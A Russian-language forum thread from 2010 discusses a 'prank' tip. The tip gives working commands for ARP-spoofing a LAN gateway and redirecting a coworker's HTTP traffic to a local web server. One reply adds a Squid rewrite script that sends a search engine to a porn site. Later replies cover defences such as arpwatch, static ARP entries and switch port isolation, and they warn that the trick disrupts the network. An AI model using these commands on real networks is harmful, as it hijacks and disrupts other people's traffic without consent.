форумы  помощь  поиск  регистрация  майллист  вход/выход  слежка

Вариант для распечатки		Пред. тема | След. тема
Форум Разговоры, обсуждение новостей
Изначальное сообщение		[ Отслеживать ]

"Раздел полезных советов: Подстановка HTTP-трафика определенн..."	+/–
Сообщение от auto_tips (??) on 02-Окт-10, 16:45
Используя нехитрые манипуляции в Linux можно подшутить или удивить соседа по офису, например отобразив персональное поздравление при попытке открыть соседом какой-нибудь известного ресурса. Манипуляции проделываются без изменения конфигурации шлюза, путем поднятия web-сервера на своей машине и перенаправление на него запросов, через подмену ARP-адреса шлюза в кэше на машине соседа. Техника действует только в пределах локальной сети. Включаем на своей машине перенаправление IP-пакетов:    echo 1 > /proc/sys/net/ipv4/ip_forward Перенаправляем запросы на 80-порт, заменив адрес назначения в пакете на 192.168.1.200 - локальный IP машины с подставным шлюзом. На локальной машине должен быть заблаговременно поднят http-сервер с нужной страницей.    iptables -t nat -A PREROUTING -p tcp --dport 80 -j NETMAP --to 192.168.1.200 Добавляем адрес реального шлюза (192.168.1.1) на сетевой интерфейс:    ip addr add 192.168.1.1/24 dev eth0 Анонсируем смену MAC-адреса шлюза:    arping -c 3 -A -I eth0 192.168.1.1 После завершения розыгрыша убираем IP шлюза с локального интерфейса:    ip addr delete 192.168.1.1/24 dev eth0    iptables -t nat -D PREROUTING -p tcp --dport 80 -j NETMAP --to 192.168.1.200    ifconfig eth0 down    ifconfig eth0 up    arp -d 192.168.1.1 Внимание, описанное действие не следует применять в рабочей сети предприятия, так как подстановка шлюза на время блокирует работу сети из-за конфликта с реальным шлюзом. URL: http://blog.ksplice.com/2010/09/hijacking-http-traffic-on-yo.../ Обсуждается: http://www.opennet.dev/tips/info/2450.shtml
Ответить | Правка | Cообщить модератору

Сообщения по теме

[Сортировка по времени | RSS]

1. "Подстановка HTTP-трафика определенному компьютеру в локально..."	+/–
Сообщение от Аноним (??) on 02-Окт-10, 16:45
На предприятиях очень часто в интернет через прокси выходят.
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	3. "Подстановка HTTP-трафика определенному компьютеру в локально..."	+/–
	Сообщение от pavlinux (ok) on 02-Окт-10, 21:52
	Да собственно... Почему бы не поднять squid вместо вебсервака :) url_rewrite_program redirector.pl #!/usr/bin/perl         $|=1;         while (<>) {                 s@http://www.yandex.ru@http://www.spankwire.com@;                 print;         } Весь офис будет рад :) или вот эту хрень http://squirm.foote.com.au/ прикрутить.
	Ответить | Правка | ^ к родителю #1 | Наверх | Cообщить модератору

2. "Подстановка HTTP-трафика определенному компьютеру в локально..."	+/–
Сообщение от mitiok (??) on 02-Окт-10, 18:20
наверное подделать популярные зоны в бинде и засунуть розыгрываемого во view было бы более safe
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	9. "Подстановка HTTP-трафика определенному компьютеру в локально..."	+/–
	Сообщение от Xaionaro (ok) on 04-Окт-10, 14:07
	Это требует доступа к bind.
	Ответить | Правка | ^ к родителю #2 | Наверх | Cообщить модератору

	11. "Подстановка HTTP-трафика определенному компьютеру в локально..."	+/–
	Сообщение от Andrey Mitrofanov on 04-Окт-10, 15:22
	> Это требует доступа к bind. Да-да... Или отдельного "полезного" совета ""Подстановка DNS-трафика определенному компьютеру в локальной сети"".
	Ответить | Правка | ^ к родителю #9 | Наверх | Cообщить модератору

	12. "Подстановка HTTP-трафика определенному компьютеру в локально..."	+/–
	Сообщение от Xaionaro (ok) on 04-Окт-10, 15:54
	>> Это требует доступа к bind. > Да-да... Или отдельного "полезного" совета ""Подстановка DNS-трафика определенному компьютеру > в локальной сети"". :)) Но так или иначе будет применяться скорее всего arp-спуфинг, что приведёт к тем же минусам. ;)
	Ответить | Правка | ^ к родителю #11 | Наверх | Cообщить модератору

4. "Раздел полезных советов: Подстановка HTTP-трафика определенн..."	+/–
Сообщение от Jordan on 02-Окт-10, 23:54
Ога, главное всё сделать пока админ не пришол :) P.S. "через подмену ARP-адреса шлюза в кэше на машине соседа." как это реализовать если нет доступа к машине соседа? P.S.S. Это работоспособно при включеном шлюзе?
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	6. "Раздел полезных советов: Подстановка HTTP-трафика определенн..."	+/–
	Сообщение от Дядя Федор on 03-Окт-10, 22:21
	Почитайте как работает ARP-кэш. Может снизойдет озарение. Добавлю только, что "подменой" надо заниматься как минимум раз в 30 секунд (анонсировать изменение МАК-адреса шлюза).
	Ответить | Правка | ^ к родителю #4 | Наверх | Cообщить модератору

7. "Подстановка HTTP-трафика определенному компьютеру в локально..."	+1 +/–
Сообщение от User294 (ok) on 04-Окт-10, 00:08
"How to pwn your corporate network for dummies" :-)
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

8. "Подстановка HTTP-трафика определенному компьютеру в локально..."	+/–
Сообщение от Aquarius (ok) on 04-Окт-10, 01:30
шлюз будет недоволен, а за ним и админ
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

10. "Подстановка HTTP-трафика определенному компьютеру в локально..."	+/–
Сообщение от keir (ok) on 04-Окт-10, 15:13
В нормально настроенной сети это не провернуть. И вообще, мануал из серии "как делать не надо, чтобы выжить"
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	13. "Подстановка HTTP-трафика определенному компьютеру в локально..."	+/–
	Сообщение от Xaionaro (ok) on 04-Окт-10, 15:58
	> В нормально настроенной сети это не провернуть. И вообще, мануал из серии > "как делать не надо, чтобы выжить" Ну что такое "нормально настроенная сеть"? Есть вот два cisco-выз свитча, в который втыкается соотвественно два клиента, но работают оба через один и тот же vlan. Что помешает данному хаку? Или что в данной сети настроено не "нормально"?
	Ответить | Правка | ^ к родителю #10 | Наверх | Cообщить модератору

	16. "Подстановка HTTP-трафика определенному компьютеру в локально..."	+/–
	Сообщение от keir (ok) on 04-Окт-10, 20:42
	Помешает switchport protected. За каким чертом двум клиентским компам в рабочей обстановке общаться между собой? Правильно, незачем. А если файлы друг-другу захотят передать - для этого используется корпоративная почта/ftp.
	Ответить | Правка | ^ к родителю #13 | Наверх | Cообщить модератору

	17. "Подстановка HTTP-трафика определенному компьютеру в локально..."	+/–
	Сообщение от Xaionaro (ok) on 04-Окт-10, 21:03
	> Помешает switchport protected. За каким чертом двум клиентским компам в рабочей обстановке > общаться между собой? Правильно, незачем. А если файлы друг-другу захотят передать > - для этого используется корпоративная почта/ftp. Ну в разных подразделениях разных контор - по-разному. Например, в МИФИ нет корпоративного FTP. Почему? Гос. контора, там всё очень сложно. Вот взять например моё помещение. В моём помещении стоит одна циска, а в помещении напротив - другая. Там и там работают люди из одного отдела и плотно друг с другом взаимодействуют. Дак вот не вижу смысл запрещать заходить по ssh ко мне с соседнего компьютера (только с моего компьютера можно без затрат большого кол-ва времени достучаться до некоторых ресурсов, а бегать между своим компом и соседним помещенгием тоже не хочется). Тем более, т.к. достаточно проблематично выбить сервер, нередко приходится в качестве тестового компьютера использовать свой рабочий, из-за чего он нередко выступает в роли малого тестового _сервера_. Ну или взять общежитие МИФИ. Там студенты свободно обмениваются трафиков. Или вы считаете, что нормальной настройкой студенческой сети - это запретить им общаться друг с другом? Я считаю что это нельзя делать как и из этических соображений, так и из материальных, ибо, например, тот же "retracker.local" в локальной сети экономит нехилый процент канала в Интернет. P.S.: В общежитии на один vlan приходится около 50 студентов.
	Ответить | Правка | ^ к родителю #16 | Наверх | Cообщить модератору

	18. "Подстановка HTTP-трафика определенному компьютеру в локально..."	+/–
	Сообщение от keir (ok) on 04-Окт-10, 21:13
	>[оверквотинг удален] > до некоторых ресурсов, а бегать между своим компом и соседним помещенгием > тоже не хочется). Тем более, т.к. достаточно проблематично выбить сервер, нередко > приходится в качестве тестового компьютера использовать свой рабочий, из-за чего он > нередко выступает в роли малого тестового _сервера_. > Ну или взять общежитие МИФИ. Там студенты свободно обмениваются трафиков. Или вы > считаете, что нормальной настройкой студенческой сети - это запретить им общаться > друг с другом? Я считаю что это нельзя делать как и > из этических соображений, так и из материальных, ибо, например, тот же > "retracker.local" в локальной сети экономит нехилый процент канала в Интернет. > P.S.: В общежитии на один vlan приходится около 50 студентов. Извините, но начиналось все с соседа по офису, т.е. речь об организации, которая деньги зарабатывает. Студенческая сеть, конечно, совсем другое дело.
	Ответить | Правка | ^ к родителю #17 | Наверх | Cообщить модератору

	19. "Подстановка HTTP-трафика определенному компьютеру в локально..."	+/–
	Сообщение от Xaionaro (ok) on 04-Окт-10, 21:16
	> Извините, но начиналось все с соседа по офису, т.е. речь об организации, > которая деньги зарабатывает. Студенческая сеть, конечно, совсем другое дело. Это я извиняюсь, забыл некоторые элементы основного сообщения. Но пример с моим рабочим помещением остаётся в силе :)
	Ответить | Правка | ^ к родителю #18 | Наверх | Cообщить модератору

	22. "Подстановка HTTP-трафика определенному компьютеру в локально..."	+/–
	Сообщение от Дядя Федор on 05-Окт-10, 09:18
	> Это я извиняюсь, забыл некоторые элементы основного сообщения. Но пример с моим > рабочим помещением остаётся в силе :) Откройте для себя L3-уровень. И прочитайте - что такое маршрутизация. VLAN, как известно - L2.
	Ответить | Правка | ^ к родителю #19 | Наверх | Cообщить модератору

	25. "Подстановка HTTP-трафика определенному компьютеру в локально..."	+/–
	Сообщение от keir (ok) on 05-Окт-10, 23:09
	Кстати говоря, хорошо настроенный и отфильтрованный L2 иногда поудобнее L3 бывает-с.
	Ответить | Правка | ^ к родителю #22 | Наверх | Cообщить модератору

	27. "Подстановка HTTP-трафика определенному компьютеру в локально..."	+/–
	Сообщение от Xaionaro (ok) on 06-Окт-10, 02:19
	>> Это я извиняюсь, забыл некоторые элементы основного сообщения. Но пример с моим >> рабочим помещением остаётся в силе :) >  Откройте для себя L3-уровень. И прочитайте - что такое маршрутизация. VLAN, > как известно - L2. Я знаю что такое маршрутизация, и знаю где L2, а где L3. И что вы предлагаете? Зарание скажу, что в организации количество клиентов по порядку величины соотвествует десятку тысяч. Тут несколько сотен VLAN-ов в VTP-домене, детерменируемых на шеститысячнике. И "маршрутизация" во всю используется :)
	Ответить | Правка | ^ к родителю #22 | Наверх | Cообщить модератору

	31. "Подстановка HTTP-трафика определенному компьютеру в локально..."	+/–
	Сообщение от Дядя Федор on 06-Окт-10, 19:08
	> Тут несколько сотен VLAN-ов в VTP-домене, детерменируемых на шеститысячнике. Наверное все-таки "терминируемых". :) >  И "маршрутизация" во всю используется :) Ну дык - а в чем тогда проблема? Для доступа к компьютерам в другом влане используется маршрутизация (SVI или IP unnumbered - не суть важно).
	Ответить | Правка | ^ к родителю #27 | Наверх | Cообщить модератору

	36. "Подстановка HTTP-трафика определенному компьютеру в локально..."	+/–
	Сообщение от Xaionaro (ok) on 09-Окт-10, 09:28
	>> Тут несколько сотен VLAN-ов в VTP-домене, детерменируемых на шеститысячнике. >  Наверное все-таки "терминируемых". :) Упс. Бывает :). Перечитал научно-популярного чтива на тему детерминирована ли наша Вселенная, в то время как термин "терминируемые" относительно vlan-ов использовал в своей жизни считанное кол-во раз :) >>  И "маршрутизация" во всю используется :) >  Ну дык - а в чем тогда проблема? Для доступа к > компьютерам в другом влане используется маршрутизация (SVI или IP unnumbered - > не суть важно). Я честно сказать не цисковод, и что есть перечисленные термины могу представить только смутно. Разве что я так понимаю, это какие-то технологии для объедидения vlan-ов. И честно сказать не очень понимаю смысл таких велосипедов, особенно когда идёт речь о vlan-е сотрудников _одного_ отдела. Тем более как я уже сказал ранее, тут клиенты измеряются тысячами и если в данных технологиях требуется на каждого заводить свой vlan, то эта технология мягко говоря неприемлема, т.к. тут исторически используется единый VTP-домен, а большенство цисок и так уже скоро будут переполнены vlan-ами. Да и адресное пространство, не предётся ли на каждого клиента заводить свою подсеть со своим шлюзом? Опять же, если это так, то это опять же неприемлемо. Да и если уж на то пошло, то есл кто-то и захочет устроить саботаж, то вряд ли ему это помешает (по крайней мере в моём случае, т.к. работаю я в отделе телекоммуникаций хоть и занимаюсь серверами, а не сетью). :) Однако если вам не лень рассказать, я буду рад послушать, что умеют данные технологии и как их можно применить.
	Ответить | Правка | ^ к родителю #31 | Наверх | Cообщить модератору

	37. "Подстановка HTTP-трафика определенному компьютеру в локально..."	+/–
	Сообщение от Дядя Федор on 09-Окт-10, 20:55
	Да не в этом дело. Можно хоть на каждого сотрудника заводить VLAN. И они будут друг друга прекрасно "видеть" по сети. Вот о чем я говорил выше. :) Кстати, технология VLAN per user - используется у нас - я у провайдера местного работаю. Очень надежная технология. Терминация VLAN-IP делается на цисках (6-тонниках и 2950). Если юзверь поменяет себе IP (что актуально в сетях домовых провайдеров) - фиг у него будет сеть работать. :)  Просто и надежно. Хотя и влечет за собой довольно большие накладные расходы - как финансовые (применение только управляемых свичей, ограничение количества VLAN на кошках), так и организационные (необходимо вести базу вланов и назначать их - с последующим прописыванием на цисках).
	Ответить | Правка | ^ к родителю #36 | Наверх | Cообщить модератору

	24. "Подстановка HTTP-трафика определенному компьютеру в локально..."	–2 +/–
	Сообщение от User294 (ok) on 05-Окт-10, 15:53
	> - для этого используется корпоративная почта/ftp. Только они имеют такое нехорошее свойство - место там заканчиватся почему-то. И даже довольно быстро. А если сервак нагибается - вся контора дружно курит бамбук, радуясь халяве. Поэтому обычно в реалных Ынтерпрайзах используются и ресурсы клиенских машин по мере необходимости.
	Ответить | Правка | ^ к родителю #16 | Наверх | Cообщить модератору

	26. "Подстановка HTTP-трафика определенному компьютеру в локально..."	+/–
	Сообщение от keir (ok) on 05-Окт-10, 23:14
	>> - для этого используется корпоративная почта/ftp. > Только они имеют такое нехорошее свойство - место там заканчиватся почему-то. И > даже довольно быстро. А если сервак нагибается - вся контора дружно > курит бамбук, радуясь халяве. Поэтому обычно в реалных Ынтерпрайзах используются и > ресурсы клиенских машин по мере необходимости. Ну, любой сервер может нагнуться, так что в "реальных Ынтерпрайзах" приходится заниматься еще и отказоустойчивостью :) В любом случае сервер лучше - через него можно вести реальный контроль кто-что-куда, а не сидеть в ожидании чуда, пока коллеги друг другу вирусы рассылают :)
	Ответить | Правка | ^ к родителю #24 | Наверх | Cообщить модератору

	33. "Подстановка HTTP-трафика определенному компьютеру в локально..."	+/–
	Сообщение от XoRe (ok) on 06-Окт-10, 19:16
	>> - для этого используется корпоративная почта/ftp. > Только они имеют такое нехорошее свойство - место там заканчиватся почему-то. И > даже довольно быстро. Ну у вас и аргументы, уважаемый =) Не, ну правда - подсистемы хранения сейчас относительно дешевы. Если предприятие такое большое, что документы забивают терабайты, то на 4 sas винта в raid10 + контроллер e200 деньги найдутся. А если хочется дешево и сердито, то дешевый рейд10 контроллер и 4 sata винта выходят вообще недорого)
	Ответить | Правка | ^ к родителю #24 | Наверх | Cообщить модератору

	34. "Подстановка HTTP-трафика определенному компьютеру в локально..."	+/–
	Сообщение от User294 (ok) on 08-Окт-10, 02:51
	> А если хочется дешево и сердито, то дешевый рейд10 контроллер и 4 > sata винта выходят вообще недорого) Ну да. А потом у таких умников нагибается сервант (любая железка может сломаться) и вся контора радостно курит бамбук. Знаем мы эти совковые Ынтерпрайзы, где на эффективность и безгеморность работы сотрудников всем класть с прибором, зато какойнить бзик по части "как бы чего не сперли" или какой там еще фигне. При том кому надо - все-равно успешно все прут, зато  когда централизованный сервак дает дуба - толпа народа радостно курит бамбук а админы срут кирпичами :). ИМХО зависимость работы всей конторы от 1 сервера - зло. Так, глядя на то какой пипец начинается когда сервак подыхает :) Алсо нынче в моде например виртуализация. Представляете себе если програмеры/тестеры/прочий сброд начнут какиенить там временные тестовые виртуалки на много мегазов а то и гигазов каждая на фтпушник лить? И ессно забудут стирать. А на квоты периодически брыкаться когда они работе мешают. И насколько таким макаром места и терпения куль-одминов хватит? :) Вообще, вы имхо по сути извращаетесь, делая из быстрой swiched сети не то что даже более медленную routed, а даже коммутируемую на уровне примерно так L7 сеть. При том "коммутатором" получается фтпушник. Что вообще-то слегка изврат - тормозно и грабельно. Как минимум *удваивается* время на передачу файла по сравнению с шарингом файла напрямую с машины юзера. Для жирных файлов это вообще-то Ж.
	Ответить | Правка | ^ к родителю #33 | Наверх | Cообщить модератору

	35. "Подстановка HTTP-трафика определенному компьютеру в локально..."	+/–
	Сообщение от XoRe (ok) on 09-Окт-10, 00:46
	Чет вас понесло. Личный негативный опыт?)
	Ответить | Правка | ^ к родителю #34 | Наверх | Cообщить модератору

14. "Подстановка HTTP-трафика определенному компьютеру в локально..."	+/–
Сообщение от Дядя Федор on 04-Окт-10, 16:14
Ну, как вариант - APR-кэш может быть сформирован статиком. :) Или где-нить в сети будет стоять arpwatch. Который будет дико материться, обнаружив подобную ситуацию.
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	20. "Подстановка HTTP-трафика определенному компьютеру в локально..."	+/–
	Сообщение от Аноним (??) on 05-Окт-10, 06:30
	Фуууу ... мой arpwatch тихо и интеллигентно залогирует факт, отправит мне письмо да и заблокирует порт на свиче :) Как делать? - гугл завалит вариантами ...
	Ответить | Правка | ^ к родителю #14 | Наверх | Cообщить модератору

	21. "Подстановка HTTP-трафика определенному компьютеру в локально..."	+/–
	Сообщение от Дядя Федор on 05-Окт-10, 09:17
	Под словом "материться" я как раз таки и не имел в виду "расстрел на месте". :) Обычного логгирования вполне себе достаточно.
	Ответить | Правка | ^ к родителю #20 | Наверх | Cообщить модератору

	28. "Подстановка HTTP-трафика определенному компьютеру в локально..."	+/–
	Сообщение от Аноним (??) on 06-Окт-10, 05:04
	Не дядя Фёдор - недостаточно! Оно необходимо, но недостаточно. Тут нужны более активные действия. Просемафорить админу, задрать аларм в NMS ... У менея же порешили что и порт блокировать - вполне резонно. Пока ни одного шутника не уволили ибо шутка получается против себя :)
	Ответить | Правка | ^ к родителю #21 | Наверх | Cообщить модератору

	32. "Подстановка HTTP-трафика определенному компьютеру в локально..."	+/–
	Сообщение от Дядя Федор on 06-Окт-10, 19:10
	> Оно необходимо, но недостаточно. Тут нужны более активные действия. Просемафорить админу, > задрать аларм в NMS ... У менея же порешили что и > порт блокировать - вполне резонно. Пока ни одного шутника не уволили > ибо шутка получается против себя :) Ну это уже зависит от уровня "фашизма" админа. :) Во многих случаях вполне обоснованного.
	Ответить | Правка | ^ к родителю #28 | Наверх | Cообщить модератору

15. "Подстановка HTTP-трафика определенному компьютеру в локально..."	+1 +/–
Сообщение от splat_pack (ok) on 04-Окт-10, 17:53
за такие "шутки" шутник обычно увольняется сходу..
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	23. "Подстановка HTTP-трафика определенному компьютеру в локально..."	+/–
	Сообщение от XoRe (ok) on 05-Окт-10, 11:39
	>Внимание, описанное действие не следует применять в рабочей сети предприятия, так как подстановка шлюза на время блокирует работу сети из-за конфликта с реальным шлюзом. Т.е. у всего отдела (или конторы) "внезапно" пропадет интернет. Такого вообще не нужно делать, ни дома, ни на работе. > за такие "шутки" шутник обычно увольняется сходу.. Вот-вот. Ну или наказывается так, чтобы отбило охоту тратить оплачиваемое время на создание препятствий производственному процессу других людей.
	Ответить | Правка | ^ к родителю #15 | Наверх | Cообщить модератору

	29. "Подстановка HTTP-трафика определенному компьютеру в локально..."	+/–
	Сообщение от d8r8dr on 06-Окт-10, 08:54
	шутка удается с первыми лицами предприятия (и до них это доходит) - админ идет искать работу
	Ответить | Правка | ^ к родителю #23 | Наверх | Cообщить модератору

	30. "Подстановка HTTP-трафика определенному компьютеру в локально..."	+/–
	Сообщение от Аноним (??) on 06-Окт-10, 10:12
	> шутка удается с первыми лицами предприятия (и до них это доходит) - > админ идет искать работу Не совсем так, если первые лица предприятия смогут провернуть такую шутку, админ админящий такую сетку пойдет искать работу.
	Ответить | Правка | ^ к родителю #29 | Наверх | Cообщить модератору

	38. "Подстановка HTTP-трафика определенному компьютеру в локально..."	+/–
	Сообщение от axe (??) on 10-Дек-10, 16:01
	>> шутка удается с первыми лицами предприятия (и до них это доходит) - >> админ идет искать работу > Не совсем так, если первые лица предприятия смогут провернуть такую шутку, админ > админящий такую сетку пойдет искать работу. может они просто поменяются местами тогда уж?
	Ответить | Правка | ^ к родителю #30 | Наверх | Cообщить модератору

Архив | Удалить

Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема